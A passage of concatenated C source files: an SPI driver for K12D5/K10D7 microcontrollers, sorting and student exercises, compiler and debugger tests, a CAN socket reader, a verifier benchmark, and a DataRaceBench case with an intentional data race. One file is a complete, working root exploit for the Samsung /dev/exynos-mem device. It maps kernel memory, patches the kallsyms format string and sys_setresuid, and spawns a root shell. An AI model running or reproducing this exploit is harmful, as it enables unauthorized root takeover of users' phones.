* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
******************************************************************************/
/**
* @file libohiboard/source/spi_K12D5.c
* @author Marco Giammarini <[email protected]>
* @author Niccolo' Paolinelli <[email protected]>
* @author Nicola Orlandini <[email protected]>
* @brief SPI implementations for K12D5 and K10D7.
*/
#ifdef LIBOHIBOARD_SPI
#include "platforms.h"
#include "utility.h"
#include "spi.h"
#include "clock.h"
#if defined (LIBOHIBOARD_K12D5) || \
defined (LIBOHIBOARD_K10D7)
#define SPI_MAX_PINS 11
#define SPI_PIN_ENABLED 1
#define SPI_PIN_DISABLED 0
typedef struct Spi_Device
{
SPI_MemMapPtr regMap;
volatile uint32_t* simScgcPtr; /**< SIM_SCGCx register for the device. */
uint32_t simScgcBitEnable; /**< SIM_SCGC enable bit for the device. */
Spi_PcsPins pcsPins[SPI_MAX_PINS];
Spi_SoutPins soutPins[SPI_MAX_PINS];
Spi_SinPins sinPins[SPI_MAX_PINS];
Spi_SckPins sckPins[SPI_MAX_PINS];
volatile uint32_t* pcsPinsPtr[SPI_MAX_PINS];
volatile uint32_t* soutPinsPtr[SPI_MAX_PINS];
volatile uint32_t* sinPinsPtr[SPI_MAX_PINS];
volatile uint32_t* sckPinsPtr[SPI_MAX_PINS];
uint8_t pcsPinsMux[SPI_MAX_PINS];
uint8_t soutPinsMux[SPI_MAX_PINS];
uint8_t sinPinsMux[SPI_MAX_PINS];
uint8_t sckPinsMux[SPI_MAX_PINS];
uint8_t index;
uint8_t devInitialized; /**< Indicate that device was been initialized. */
} Spi_Device;
static Spi_Device spi0 = {
.regMap = SPI0_BASE_PTR,
.simScgcPtr = &SIM_SCGC6,
.simScgcBitEnable = SIM_SCGC6_SPI0_MASK,
.pcsPins = {SPI_PINS_PTA14,
SPI_PINS_PTC0,
SPI_PINS_PTC1,
SPI_PINS_PTC2,
SPI_PINS_PTC3,
SPI_PINS_PTC4,
SPI_PINS_PTD0,
SPI_PINS_PTD4,
SPI_PINS_PTD5,
SPI_PINS_PTD6,
SPI_PINS_PTE16,
},
.pcsPinsPtr = {&PORTA_PCR14,
&PORTC_PCR0,
&PORTC_PCR1,
&PORTC_PCR2,
&PORTC_PCR3,
&PORTC_PCR4,
&PORTD_PCR0,
&PORTD_PCR4,
&PORTD_PCR5,
&PORTD_PCR6,
&PORTE_PCR16,
},
.pcsPinsMux = {2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
},
.soutPins = {SPI_PINS_PTA16,
SPI_PINS_PTC6,
SPI_PINS_PTD2,
SPI_PINS_PTE18,
},
.soutPinsPtr = {&PORTA_PCR16,
&PORTC_PCR6,
&PORTD_PCR2,
&PORTE_PCR18
},
.soutPinsMux = {2,
2,
2,
2,
},
.sinPins = {SPI_PINS_PTA17,
SPI_PINS_PTC7,
SPI_PINS_PTD3,
SPI_PINS_PTE19,
},
.sinPinsPtr = {&PORTA_PCR17,
&PORTC_PCR7,
&PORTD_PCR3,
&PORTE_PCR19,
},
.sinPinsMux = {2,
2,
2,
2,
},
.sckPins = {SPI_PINS_PTA15,
SPI_PINS_PTC5,
SPI_PINS_PTD1,
SPI_PINS_PTE17,
},
.sckPinsPtr = {&PORTA_PCR15,
&PORTC_PCR5,
&PORTD_PCR1,
&PORTE_PCR17,
},
.sckPinsMux = {2,
2,
2,
2,
},
.index = 2,
.devInitialized = 0,
};
Spi_DeviceHandle OB_SPI0 = &spi0;
static Spi_Device spi1 = {
.regMap = SPI1_BASE_PTR,
.simScgcPtr = &SIM_SCGC6,
.simScgcBitEnable = SIM_SCGC6_SPI1_MASK,
.pcsPins = {SPI_PINS_PTB10,
SPI_PINS_PTE0,
SPI_PINS_PTE4,
SPI_PINS_PTE5,
},
.pcsPinsPtr = {&PORTB_PCR10,
&PORTE_PCR0,
&PORTE_PCR4,
&PORTE_PCR5,
},
.pcsPinsMux = {2,
2,
2,
2,
},
.soutPins = {SPI_PINS_PTB16,
SPI_PINS_PTE1O,
SPI_PINS_PTE3O,
},
.soutPinsPtr = {&PORTB_PCR16,
&PORTE_PCR1,
&PORTE_PCR3,
},
.soutPinsMux = {2,
2,
7,
},
.sinPins = {SPI_PINS_PTB17,
SPI_PINS_PTE1I,
SPI_PINS_PTE3I,
},
.sinPinsPtr = {&PORTB_PCR17,
&PORTE_PCR1,
&PORTE_PCR3,
},
.sinPinsMux = {2,
7,
2,
},
.sckPins = {SPI_PINS_PTB11,
SPI_PINS_PTE2,
},
.sckPinsPtr = {&PORTB_PCR11,
&PORTE_PCR2,
},
.sckPinsMux = {2,
2,
},
.index = 2,
.devInitialized = 0,
};
Spi_DeviceHandle OB_SPI1 = &spi1;
static uint8_t Spi_pbrDiv[] = {2, 3, 5, 7};
static uint16_t Spi_brDiv[] = {
/*00*/ 2, /*01*/ 4, /*02*/ 6, /*03*/ 8,
/*04*/ 16, /*05*/ 32, /*06*/ 64, /*07*/ 128,
/*08*/ 256, /*09*/ 512, /*10*/ 1024, /*11*/ 2048,
/*12*/ 4096, /*13*/ 8192, /*14*/ 16384, /*15*/ 32768,
};
System_Errors Spi_setBaudrate(Spi_DeviceHandle dev, uint32_t speed)
{
SPI_MemMapPtr regmap = dev->regMap;
uint32_t tempReg = 0;
uint32_t busClk;
float spiClk;
float PBRDIV;
float BRDIV;
float temporary1;
float temporary2;
uint32_t diff = 0xFFFFFFFF;
uint32_t maxDiff = 0xFFFFFFFF;
uint8_t dbr = 0;
uint8_t pbr = 0;
uint8_t br = 0;
uint8_t i = 0;
uint8_t j = 0;
uint8_t k = 0;
uint8_t index = 0;
busClk = Clock_getFrequency(CLOCK_BUS);
for(i = 0; i < 2; i++)
{
for(j = 0; j < 4; j++)
{
for(k = 0; k < 16; k++)
{
spiClk = (busClk * (1U+i) / Spi_pbrDiv[j] / Spi_brDiv[k]);
if(speed < spiClk)
{
if((spiClk - speed) < diff)
{
diff = spiClk - speed;
dbr = i;
pbr = j;
br = k;
}
}
else
{
if((speed - spiClk) < diff)
{
diff = speed - spiClk;
dbr = i;
pbr = j;
br = k;
}
}
}
}
}
if(diff == maxDiff) return ERRORS_SPI_BAUDRATE_NOT_FOUND;
for (index = 0; index < dev->index; index++)
{
tempReg = SPI_CTAR_REG(regmap, index);
tempReg &= ~(SPI_CTAR_DBR_MASK | SPI_CTAR_PBR_MASK | SPI_CTAR_BR_MASK);
tempReg |= ((dbr << SPI_CTAR_DBR_SHIFT) | SPI_CTAR_PBR(pbr) | SPI_CTAR_BR(br));
SPI_CTAR_REG(regmap, index) = tempReg;
}
return ERRORS_NO_ERROR;
}
static System_Errors Spi_setPcsPin(Spi_DeviceHandle dev, Spi_PcsPins pcsPin)
{
uint8_t devPinIndex;
if (dev->devInitialized == 0)
return ERRORS_SPI_DEVICE_NOT_INIT;
for (devPinIndex = 0; devPinIndex < SPI_MAX_PINS; ++devPinIndex)
{
if (dev->pcsPins[devPinIndex] == pcsPin)
{
*(dev->pcsPinsPtr[devPinIndex]) =
PORT_PCR_MUX(dev->pcsPinsMux[devPinIndex]);
return ERRORS_NO_ERROR;
}
}
return ERRORS_SPI_NO_PIN_FOUND;
}
static System_Errors Spi_setSoutPin(Spi_DeviceHandle dev, Spi_SoutPins soutPin)
{
uint8_t devPinIndex;
if (dev->devInitialized == 0)
return ERRORS_SPI_DEVICE_NOT_INIT;
for (devPinIndex = 0; devPinIndex < SPI_MAX_PINS; ++devPinIndex)
{
if (dev->soutPins[devPinIndex] == soutPin)
{
*(dev->soutPinsPtr[devPinIndex]) =
PORT_PCR_MUX(dev->soutPinsMux[devPinIndex]);
return ERRORS_NO_ERROR;
}
}
return ERRORS_SPI_NO_PIN_FOUND;
}
static System_Errors Spi_setSinPin(Spi_DeviceHandle dev, Spi_PcsPins sinPin)
{
uint8_t devPinIndex;
if (dev->devInitialized == 0)
return ERRORS_SPI_DEVICE_NOT_INIT;
for (devPinIndex = 0; devPinIndex < SPI_MAX_PINS; ++devPinIndex)
{
if (dev->sinPins[devPinIndex] == sinPin)
{
*(dev->sinPinsPtr[devPinIndex]) =
PORT_PCR_MUX(dev->sinPinsMux[devPinIndex]);
return ERRORS_NO_ERROR;
}
}
return ERRORS_SPI_NO_PIN_FOUND;
}
static System_Errors Spi_setSckPin(Spi_DeviceHandle dev, Spi_PcsPins sckPin)
{
uint8_t devPinIndex;
if (dev->devInitialized == 0)
return ERRORS_SPI_DEVICE_NOT_INIT;
for (devPinIndex = 0; devPinIndex < SPI_MAX_PINS; ++devPinIndex)
{
if (dev->sckPins[devPinIndex] == sckPin)
{
*(dev->sckPinsPtr[devPinIndex]) =
PORT_PCR_MUX(dev->sckPinsMux[devPinIndex]);
return ERRORS_NO_ERROR;
}
}
return ERRORS_SPI_NO_PIN_FOUND;
}
System_Errors Spi_init (Spi_DeviceHandle dev, Spi_Config *config)
{
SPI_MemMapPtr regmap = dev->regMap;
Spi_DeviceType devType = config->devType;
uint32_t baudrate = config->baudrate;
uint32_t tempReg = 0;
System_Errors error = ERRORS_NO_ERROR;
uint8_t sckpol = 0;
uint8_t sckphase = 0;
uint8_t frameSize = 7;
uint8_t index = 0;
if (dev->devInitialized) return error = ERRORS_SPI_DEVICE_JUST_INIT;
/* Turn on clock */
*dev->simScgcPtr |= dev->simScgcBitEnable;
/* Common CTARn parameters definition */
if(config->sckPolarity == SPI_SCK_INACTIVE_STATE_LOW)
sckpol = 0;
else
sckpol = 1;
if(config->sckPhase == SPI_SCK_LEADING_EDGE_DATA_CAPTURED)
sckphase = 0;
else
sckphase = 1;
if (config->frameSize > 3)
frameSize = config->frameSize;
/* Select device type */
if (devType == SPI_MASTER_MODE)
{
if (config->continuousSck == SPI_CONTINUOUS_SCK)
{
SPI_MCR_REG(regmap) = (SPI_MCR_MSTR_MASK | SPI_MCR_CONT_SCKE_MASK | SPI_MCR_PCSIS(0xF)| 0);
}
else
{
SPI_MCR_REG(regmap) = (SPI_MCR_MSTR_MASK | SPI_MCR_PCSIS(0xF) | 0);
}
for(index = 0; index < dev->index; index++)
{
SPI_CTAR_REG(regmap,index) = (((frameSize - 1) << SPI_CTAR_FMSZ_SHIFT) | (sckpol << SPI_CTAR_CPOL_SHIFT) | (sckphase << SPI_CTAR_CPHA_SHIFT) | 0);
}
error = Spi_setBaudrate(dev, config->baudrate);
}
else if (devType == SPI_SLAVE_MODE)
{
if (config->continuousSck == SPI_CONTINUOUS_SCK)
{
SPI_MCR_REG(regmap) = (SPI_MCR_CONT_SCKE_MASK | SPI_MCR_PCSIS(0xF)| 0);
}
else
{
SPI_MCR_REG(regmap) = (SPI_MCR_PCSIS(0xF) | 0);
}
for(index = 0; index < (dev->index-1); index++)
{
SPI_CTAR_SLAVE_REG(regmap,index) = (((frameSize - 1) << SPI_CTAR_FMSZ_SHIFT) | (sckpol << SPI_CTAR_CPOL_SHIFT) | (sckphase << SPI_CTAR_CPHA_SHIFT) | 0);
}
}
else
{
return ERRORS_PARAM_VALUE;
}
dev->devInitialized = 1;
/* Config the port controller */
if (config->pcs0Pin != SPI_PINS_PCSNONE)
Spi_setPcsPin(dev, config->pcs0Pin);
if (config->pcs1Pin != SPI_PINS_PCSNONE)
Spi_setPcsPin(dev, config->pcs1Pin);
if (config->pcs2Pin != SPI_PINS_PCSNONE)
Spi_setPcsPin(dev, config->pcs2Pin);
if (config->pcs3Pin != SPI_PINS_PCSNONE)
Spi_setPcsPin(dev, config->pcs3Pin);
if (config->pcs4Pin != SPI_PINS_PCSNONE)
Spi_setPcsPin(dev, config->pcs4Pin);
if (config->soutPin != SPI_PINS_SOUTNONE)
Spi_setSoutPin(dev, config->soutPin);
if (config->sinPin != SPI_PINS_SINNONE)
Spi_setSinPin(dev, config->sinPin);
if (config->sckPin != SPI_PINS_SCKNONE)
Spi_setSckPin(dev, config->sckPin);
return error;
}
System_Errors Spi_readByte (Spi_DeviceHandle dev, uint8_t *data)
{
SPI_MemMapPtr regmap = dev->regMap;
// Wait till TX FIFO is Empty.
while((SPI_SR_REG(regmap) & SPI_SR_TFFF_MASK) != SPI_SR_TFFF_MASK);
SPI_PUSHR_REG(regmap) = 0x0000;
SPI_MCR_REG(regmap) &= ~SPI_MCR_HALT_MASK;
// Wait till transmit complete
while (((SPI_SR_REG(regmap) & SPI_SR_TCF_MASK)) != SPI_SR_TCF_MASK);
// Clear Transmit Flag.
SPI_SR_REG(regmap) |= SPI_SR_TFFF_MASK;
SPI_MCR_REG(regmap) &= ~SPI_MCR_HALT_MASK;
// wait till RX_FIFO is not empty
while((SPI_SR_REG(regmap) & SPI_SR_RFDF_MASK) != SPI_SR_RFDF_MASK);
*data = SPI_POPR_REG(regmap) & 0x000000FF;
// Clear the RX FIFO Drain Flag
SPI_SR_REG(regmap) |= SPI_SR_RFDF_MASK;
return ERRORS_NO_ERROR;
}
System_Errors Spi_writeByte (Spi_DeviceHandle dev, uint8_t data)
{
SPI_MemMapPtr regmap = dev->regMap;
uint16_t x = 0;
// Wait till TX FIFO is Empty.
while((SPI_SR_REG(regmap) & SPI_SR_TFFF_MASK) != 0x2000000U);
// Transmit Byte on SPI
SPI_PUSHR_REG(regmap) = data;
SPI_MCR_REG(regmap) &= ~SPI_MCR_HALT_MASK;
// Wait till transmit complete
while (((SPI_SR_REG(regmap) & SPI_SR_TCF_MASK)) != SPI_SR_TCF_MASK) ;
// Clear Transmit Flag.
SPI_SR_REG(regmap) |= SPI_SR_TCF_MASK;
(void)SPI_POPR_REG(regmap);
return ERRORS_NO_ERROR;
}
#endif /* LIBOHIBOARD_K10D10 */
#endif /* LIBOHIBOARD_SPI */
|
the_stack_data/182953129.c
|
/*****************************************************************************
* main.c
* This file tests and implements quick sort with an array.
*
* Matthew Sembinelli
* January 11, 2017
*****************************************************************************/
/*****************************************************************************
* Includes *
*****************************************************************************/
#include <stdlib.h>
#include <stdbool.h>
#include <stdio.h>
#include <assert.h>
/*****************************************************************************
* Definitions *
*****************************************************************************/
void print_array(int* arr, int size)
{
int i = 0;
for(; i<size; i++)
{
printf("%d | ", arr[i]);
}
printf("\n");
}
void swap(int* arr, int first, int second)
{
int tmp = arr[first];
arr[first] = arr[second];
arr[second] = tmp;
}
int partition(int* arr, int start, int end)
{
//swap until everything > pivot is on the right and everything <= is on the left
int pivot_value = arr[end];
int i;
int j = start;
for(i = start; i <= end - 1; i++)
{
if(arr[i] <= pivot_value)
{
swap(arr, i, j);
j++;
}
}
swap(arr, end, j);
return j;
}
void quicksort(int* arr, int start, int end)
{
if(start >= end) return;
int p = partition(arr, start, end);
quicksort(arr, start, p-1);
quicksort(arr, p+1, end);
}
int main(void)
{
int array[] = { 5, 2, 1, 20, 70, -20, 30, 22, 6, 7, 8, 11, 0, 0 };
int size = sizeof(array) / sizeof(*array);
print_array(array, size);
quicksort(array, 0, size - 1);
print_array(array, size);
return 0;
}
|
the_stack_data/181393391.c
|
/*
Copyright (c) 2017, Lawrence Livermore National Security, LLC.
Produced at the Lawrence Livermore National Laboratory
Written by Chunhua Liao, Pei-Hung Lin, Joshua Asplund,
Markus Schordan, and Ian Karlin
(email: [email protected], [email protected], [email protected],
[email protected], [email protected])
LLNL-CODE-732144
All rights reserved.
This file is part of DataRaceBench. For details, see
https://github.com/LLNL/dataracebench. Please also see the LICENSE file
for our additional BSD notice.
Redistribution and use in source and binary forms, with
or without modification, are permitted provided that the following
conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the disclaimer below.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the disclaimer (as noted below)
in the documentation and/or other materials provided with the
distribution.
* Neither the name of the LLNS/LLNL nor the names of its contributors
may be used to endorse or promote products derived from this
software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL LAWRENCE LIVERMORE NATIONAL
SECURITY, LLC, THE U.S. DEPARTMENT OF ENERGY OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
The loop in this example cannot be parallelized.
Data race pairs: we allow two pairs to preserve the original code pattern.
1. x@71:12 vs. x@72:5
2. x@72:5 vs. x@72:5
*/
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[])
{
int len=100;
if (argc>1)
len = atoi(argv[1]);
int a[len];
int i,x=10;
#pragma omp parallel for firstprivate(len ,a ,i ) lastprivate(i )
for (i=0;i<len;i++)
{
a[i] = x;
x=i;
}
printf("x=%d, a[0]=%d\n",x,a[0]);
return 0;
}
|
the_stack_data/151706752.c
|
// Copyright 2015 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build !windows,!static
// +build !darwin !internal_pie
#include <stdint.h>
#include <dlfcn.h>
// Write our own versions of dlopen/dlsym/dlclose so that we represent
// the opaque handle as a Go uintptr rather than a Go pointer to avoid
// garbage collector confusion. See issue 23663.
uintptr_t dlopen4029(char* name, int flags) {
return (uintptr_t)(dlopen(name, flags));
}
uintptr_t dlsym4029(uintptr_t handle, char* name) {
return (uintptr_t)(dlsym((void*)(handle), name));
}
int dlclose4029(uintptr_t handle) {
return dlclose((void*)(handle));
}
void call4029(void *arg) {
void (*fn)(void) = arg;
fn();
}
|
the_stack_data/23715.c
|
/* Test generation of mulhhwu. on 405. */
/* Origin: Joseph Myers <[email protected]> */
/* { dg-do compile } */
/* { dg-require-effective-target ilp32 } */
/* { dg-options "-O2 -mcpu=405" } */
/* { dg-skip-if "other options override -mcpu=405" { ! powerpc_405_nocache } { "*" } { "" } } */
/* { dg-final { scan-assembler "mulhhwu\\. " } } */
unsigned int
f(unsigned int b, unsigned int c)
{
unsigned int a = (b >> 16) * (c >> 16);
if (!a)
return 10;
return a;
}
|
the_stack_data/181392019.c
|
// readsock.cpp :
//
// This program is free software; you can redistribute it and/or
// modify it under the terms of the GNU Lesser General Public License
// as published by the Free Software Foundation; either version
// 2 of the License, or (at your option) any later version.
//
// This file is part of the VSCP Project (http://www.vscp.org)
//
// Copyright (C) 2000-2020 Ake Hedman,
// Grodans Paradis AB, <[email protected]>
//
// This file is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this file see the file COPYING. If not, write to
// the Free Software Foundation, 59 Temple Place - Suite 330,
// Boston, MA 02111-1307, USA.
//
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <net/if.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <linux/can.h>
#include <linux/can/raw.h>
int
main(void)
{
int i;
int sock;
char devname[IFNAMSIZ + 1];
fd_set rdfs;
struct timeval tv;
struct sockaddr_can addr;
struct ifreq ifr;
struct cmsghdr *cmsg;
struct canfd_frame frame;
char ctrlmsg[CMSG_SPACE(sizeof(struct timeval)) + CMSG_SPACE(sizeof(__u32))];
const int canfd_on = 1;
strncpy(devname, "can0", sizeof(devname)-1);
#if DEBUG
perror(LOG_ERR, "CWriteSocketCanTread: Interface: %s\n", ifname);
#endif
sock = socket(PF_CAN, SOCK_RAW, CAN_RAW);
if (sock < 0) {
printf("%s",
(const char *) "CReadSocketCanTread: Error while opening socket. Terminating!");
return 0;
}
strcpy(ifr.ifr_name, devname);
ioctl(sock, SIOCGIFINDEX, &ifr);
addr.can_family = AF_CAN;
addr.can_ifindex = ifr.ifr_ifindex;
#ifdef DEBUG
printf("using interface name '%s'.\n", ifr.ifr_name);
#endif
// try to switch the socket into CAN FD mode
setsockopt(sock,
SOL_CAN_RAW,
CAN_RAW_FD_FRAMES,
&canfd_on,
sizeof(canfd_on));
if (bind(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0) {
printf("%s",
(const char *) "CReadSocketCanTread: Error in socket bind. Terminating!");
return 0;
}
// We only read
//shutdown(sock, SHUT_WR);
int bRun = 1;
while (bRun) {
FD_ZERO(&rdfs);
FD_SET(sock, &rdfs);
tv.tv_sec = 0;
tv.tv_usec = 5000;
int ret;
if ((ret = select(sock, &rdfs, NULL, NULL, &tv)) < 0) {
bRun = 0;
continue;
}
ret = read(sock, &frame, sizeof(struct can_frame));
if (ret < 0) {
bRun = 0;
continue;
}
printf("Frame received size=%d \n", ret);
// Must be Extended
if (ret && !(frame.can_id & CAN_EFF_FLAG)) continue;
printf("id=%0Xd ", frame.can_id & CAN_EFF_MASK);
printf("dlc=%d ", frame.len);
for (i = 0; i < frame.len; i++) {
printf("%02X ", frame.data[i]);
}
printf("\n");
frame.can_id = 0x123;
frame.len = 2;
frame.data[0] = 0x11;
frame.data[1] = 0x22;
write(sock, &frame, sizeof(struct can_frame));
}
// Close the socket
close(sock);
return 0;
}
|
the_stack_data/176704865.c
|
#include <stdio.h>
#include <stdlib.h>
typedef struct aluno{
char nome[80];
double nota;
}aluno;
aluno le_aluno(void){
aluno a;
printf("Digite o nome do aluno: ");
scanf("%79[^\n]%*c",a.nome);
printf("Digite a nota do aluno: ");
scanf("%lf%*c",&a.nota);
return a;
}
void imprime_aluno(aluno a){
printf("Nome do aluno: %s\n",a.nome);
printf("Nota do aluno: %lf\n",a.nota );
}
void listar_turma(aluno turma[],int n){
int i;
for(i=0;i<n;i++){
imprime_aluno(turma[i]);
}
}
int main(void){
aluno* turma;
int i,n;
printf("Digite o número de alunos: ");
scanf("%d%*c",&n);
turma = malloc(n * sizeof(aluno));
for(i=0;i<n;i++){
turma[i] = le_aluno();
}
listar_turma(turma, n);
return 0;
}
|
the_stack_data/26699545.c
|
/* 123. Goldbach's Conjecture */
/*Goldbach's conjecture is a rule in math that states the following: every even number greater than 2 can be expressed as the sum of two prime numbers.*/
#include<stdio.h>
#include<math.h>
int prime (int n)
{
int flag = 0;
for(int i = 2 ; i <= sqrt(n); i ++ )
{
if(n % i == 0)
{
flag = 1;
break ;
}
}
if(!flag)
return 1;
else
return 0;
}
int main()
{
int m;
scanf("%d", & m);
for(int i = 2 ; i <= (m )/2 ; i ++)
{
int k = i , l = m - i;
if(prime(k) && prime(l))
{
printf("%d + %d\n",k , l);
}
}
}
|
the_stack_data/103266742.c
|
/* This testcase is part of GDB, the GNU debugger.
Copyright 2010-2016 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
#include <stdio.h>
#include <unistd.h>
#include <assert.h>
static void pie_execl_marker (void);
int
main (int argc, char **argv)
{
setbuf (stdout, NULL);
#if BIN == 1
if (argc == 2)
{
printf ("pie-execl: re-exec: %s\n", argv[1]);
execl (argv[1], argv[1], NULL);
assert (0);
}
#endif
pie_execl_marker ();
return 0;
}
/* pie_execl_marker must be on a different address than in `pie-execl2.c'. */
volatile int v;
static void
pie_execl_marker (void)
{
v = 1;
}
|
the_stack_data/218892949.c
|
extern int __VERIFIER_nondet_int();
extern void __VERIFIER_assume(int);
int nondet_signed_int() {
int r = __VERIFIER_nondet_int();
__VERIFIER_assume ((-0x7fffffff - 1) <= r && r <= 0x7fffffff);
return r;
}
signed int main()
{
signed int m;
signed int n;
signed int v1;
signed int v2;
n = nondet_signed_int();
m = nondet_signed_int();
if(m >= 1 && n >= 0)
{
v1 = n;
v2 = 0;
while(v1 >= 1)
if(!(v2 >= m))
{
while(!(!(v2 + 1 < (-0x7fffffff - 1) || 0x7fffffff < v2 + 1)));
v2 = v2 + 1;
while(!(!(v1 - 1 < (-0x7fffffff - 1) || 0x7fffffff < v1 - 1)));
v1 = v1 - 1;
}
else
v2 = 0;
}
return 0;
}
|
the_stack_data/135060.c
|
/*
* exynos-mem device abuse by alephzain
*
* /dev/exynos-mem is present on GS3/GS2/GN2/MEIZU MX
*
* the device is R/W by all users :
* crw-rw-rw- 1 system graphics 1, 14 Dec 13 20:24 /dev/exynos-mem
*
*/
/*
* Abuse it for root shell
*/
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <stdbool.h>
#define PAGE_OFFSET 0xC0000000
#define PHYS_OFFSET 0x40000000
int main(int argc, char **argv, char **env) {
int fd, i, m, index, result;
unsigned long *paddr = NULL;
unsigned long *tmp = NULL;
unsigned long *restore_ptr_fmt = NULL;
unsigned long *restore_ptr_setresuid = NULL;
unsigned long addr_sym;
int page_size = sysconf(_SC_PAGE_SIZE);
int length = page_size * page_size;
/* for root shell */
char *cmd[2];
cmd[0] = "/system/bin/sh";
cmd[1] = NULL;
/* /proc/kallsyms parsing */
FILE *kallsyms = NULL;
char line [512];
char *ptr;
char *str;
bool found = false;
/* open the door */
fd = open("/dev/exynos-mem", O_RDWR);
if (fd == -1) {
printf("[!] Error opening /dev/exynos-mem\n");
exit(1);
}
/* kernel reside at the start of physical memory, so take some Mb */
paddr = (unsigned long *)mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_SHARED, fd, PHYS_OFFSET);
tmp = paddr;
if (paddr == MAP_FAILED) {
printf("[!] Error mmap: %s|%08X\n",strerror(errno), i);
exit(1);
}
/*
* search the format string "%pK %c %s\n" in memory
* and replace "%pK" by "%p" to force display kernel
* symbols pointer
*/
for(m = 0; m < length; m += 4) {
if(*(unsigned long *)tmp == 0x204b7025 && *(unsigned long *)(tmp+1) == 0x25206325 && *(unsigned long *)(tmp+2) == 0x00000a73 ) {
printf("[*] s_show->seq_printf format string found at: 0x%08X\n", PAGE_OFFSET + m);
restore_ptr_fmt = tmp;
*(unsigned long*)tmp = 0x20207025;
found = true;
break;
}
tmp++;
}
if (found == false) {
printf("[!] s_show->seq_printf format string not found\n");
exit(1);
}
found = false;
/* kallsyms now display symbols address */
kallsyms = fopen("/proc/kallsyms", "r");
if (kallsyms == NULL) {
printf("[!] kallsysms error: %s\n", strerror(errno));
exit(1);
}
/* parse /proc/kallsyms to find sys_setresuid address */
while((ptr = fgets(line, 512, kallsyms))) {
str = strtok(ptr, " ");
addr_sym = strtoul(str, NULL, 16);
index = 1;
while(str) {
str = strtok(NULL, " ");
index++;
if (index == 3) {
if (strncmp("sys_setresuid\n", str, 14) == 0) {
printf("[*] sys_setresuid found at 0x%08X\n",addr_sym);
found = true;
}
break;
}
}
if (found) {
tmp = paddr;
tmp += (addr_sym - PAGE_OFFSET) >> 2;
for(m = 0; m < 128; m += 4) {
if (*(unsigned long *)tmp == 0xe3500000) {
printf("[*] patching sys_setresuid at 0x%08X\n",addr_sym+m);
restore_ptr_setresuid = tmp;
*(unsigned long *)tmp = 0xe3500001;
break;
}
tmp++;
}
break;
}
}
fclose(kallsyms);
/* to be sure memory is updated */
usleep(100000);
/* ask for root */
result = setresuid(0, 0, 0);
/* restore memory */
*(unsigned long *)restore_ptr_fmt = 0x204b7025;
*(unsigned long *)restore_ptr_setresuid = 0xe3500000;
munmap(paddr, length);
close(fd);
if (result) {
printf("[!] set user root failed: %s\n", strerror(errno));
exit(1);
}
/* execute a root shell */
execve (cmd[0], cmd, env);
return 0;
}
|
the_stack_data/112726.c
|
#include<stdio.h>
#include<string.h>
int indexr(char [],char);
int main()
{
char s[20],t;
printf("Enter the string: ");
gets(s);
printf("Enter the character to be searched: ");
scanf("%c",&t);
printf("%c is found at %d position.\n",t,indexr(s,t));
return 0;
}
int indexr(char s[],char t)
{ int position;
for(int i=0;s[i]!='\0';i++)
{
if(s[i]==t)
position=i;
}
return position+1;
}
|
the_stack_data/98576592.c
|
/* This testcase is part of GDB, the GNU debugger.
Copyright 2014-2020 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
void
foo (void)
{
}
void
bar (void)
{
}
int
main (void)
{
foo ();
bar ();
return 0;
}
|
the_stack_data/395774.c
|
//
// KSMach_Arm.c
//
// Created by Karl Stenerud on 2013-09-29.
//
